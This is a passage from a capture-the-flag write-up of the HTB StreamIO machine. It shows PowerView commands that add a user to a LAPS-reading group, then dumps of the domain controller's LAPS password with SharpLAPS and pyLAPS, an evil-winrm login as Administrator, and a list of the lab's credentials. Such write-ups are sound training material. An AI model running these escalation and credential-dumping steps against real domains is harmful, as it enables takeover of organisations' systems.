Global Group memberships *Domain Users
The command completed successfully.
Since the user does not belongs to the “CORE STAFF” group which is the one that has the privilege to read LAPS we need to include it into the group:
1
2
3
*Evil-WinRM* PS C:\Users\nikk37\downloads> Add-DomainObjectAcl -Credential $credObject -TargetIdentity 'CORE STAFF' -principalidentity 'streamio\\JDgodd'
*Evil-WinRM* PS C:\Users\nikk37\downloads> Add-DomainGroupMember -Identity 'CORE STAFF' -Members 'JDgodd' -Credential $credObject
Finally we can get the domain list users by executing the following Powershell module:
1
2
3
4
5
6
7
8
9
10
11
*Evil-WinRM* PS C:\Users\nikk37\downloads> Get-DomainGroupMember -Identity 'CORE STAFF'
GroupDomain : streamIO.htb
GroupName : CORE STAFF
GroupDistinguishedName : CN=CORE STAFF,CN=Users,DC=streamIO,DC=htb
MemberDomain : streamIO.htb
MemberName : JDgodd
MemberDistinguishedName : CN=JDgodd,CN=Users,DC=streamIO,DC=htb
MemberObjectClass : user
MemberSID : S-1-5-21-1470860369-1569627196-4264678630-1104
And if everything goes as planned, we can execute any of the following options:
Option 1: We can execute SharpLAPS.exe
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.\SharpLAPS.exe /user:streamio.htb\JDgodd /pass:JDg0dd1s@d0p3cr3@t0r /host:127.0.0.1
_____ __ __ ___ ____ _____
/ ___// /_ ____ __________ / / / | / __ \/ ___/
\__ \/ __ \/ __ `/ ___/ __ \/ / / /| | / /_/ /\__ \
___/ / / / / /_/ / / / /_/ / /___/ ___ |/ ____/___/ /
/____/_/ /_/\__,_/_/ / .___/_____/_/ |_/_/ /____/
/_/
[+] Using the following credentials
Host: LDAP://127.0.0.1:389
User: streamio.htb\JDgodd
Pass: JDg0dd1s@d0p3cr3@t0r
[+] Extracting LAPS password from LDAP
Machine : DC$
Password : #23Qk0i0AkCv2u
Option 2: We can Abuse of python utility pyLAPS.py
1
2
3
python3 laps.py -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' -d streamio.htb
LAPS Dumper - Running at 05-01-2023 23:10:49
DC #23Qk0i0AkCv2u
Then we can use this credentials to login as Administrator into the DC:
1
2
evil-winrm -i 10.10.11.158 -u Administrator -p '#23Qk0i0AkCv2u'
*Evil-WinRM* PS C:\Users\Administrator\Documents>
Credentials
1
2
3
4
5
yoshihide:66boysandgirls..
db_user:B1@hx31234567890
nikk37:get_dem_girls2@yahoo.com
JDgodd:JDg0dd1s@d0p3cr3@t0r
Administrator:#23Qk0i0AkCv2u (This might vary, since it's generated randomly)
References:
Offensive Security’s Exploit Database Archive reverse shell windows https://deephacking.tech/reverse-shells-en-windows/ Release v1.7.7 · jpillora/chisel firepwd.py SharpHound.ps1 PowerSploit/PowerView.ps1 Powershell powerview commands LAPS explanation